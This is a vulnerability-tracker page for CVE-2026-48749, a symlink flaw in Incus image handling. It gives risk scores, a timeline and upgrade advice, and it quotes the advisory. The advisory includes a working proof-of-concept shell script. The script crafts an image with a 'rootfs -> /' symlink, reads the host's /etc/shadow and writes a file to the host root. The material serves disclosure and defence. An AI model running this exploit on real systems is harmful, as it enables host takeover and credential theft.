CVE-2026-48749: Incusd · Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
Affects github.com/lxc/incus/v7/cmd/incusdSource GCVE Database
Not known to be exploited · CVSS 9.9 Critical : upgrade to 7.2.0 as a priority.
Data as of 30 Oct 2026, 06:59 UTC
- EPSS
- 0.7% chance of exploitation in 30 days – higher than 54% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 7.2.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HExploitation evidence
t = 0 is the CVE’s publication on cve.org
Disclosed: evidence found.
CVE published 21 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
Timeline
CVE ID reserved
by GitHub, Inc.
, 91 days before disclosure
CVE published
on cve.org
, t = 0
CISA SSVC assessment
proof of concept public
, 1 hour after disclosure
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Gogithub.com/lxc/incus/v7/cmd/incusd | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.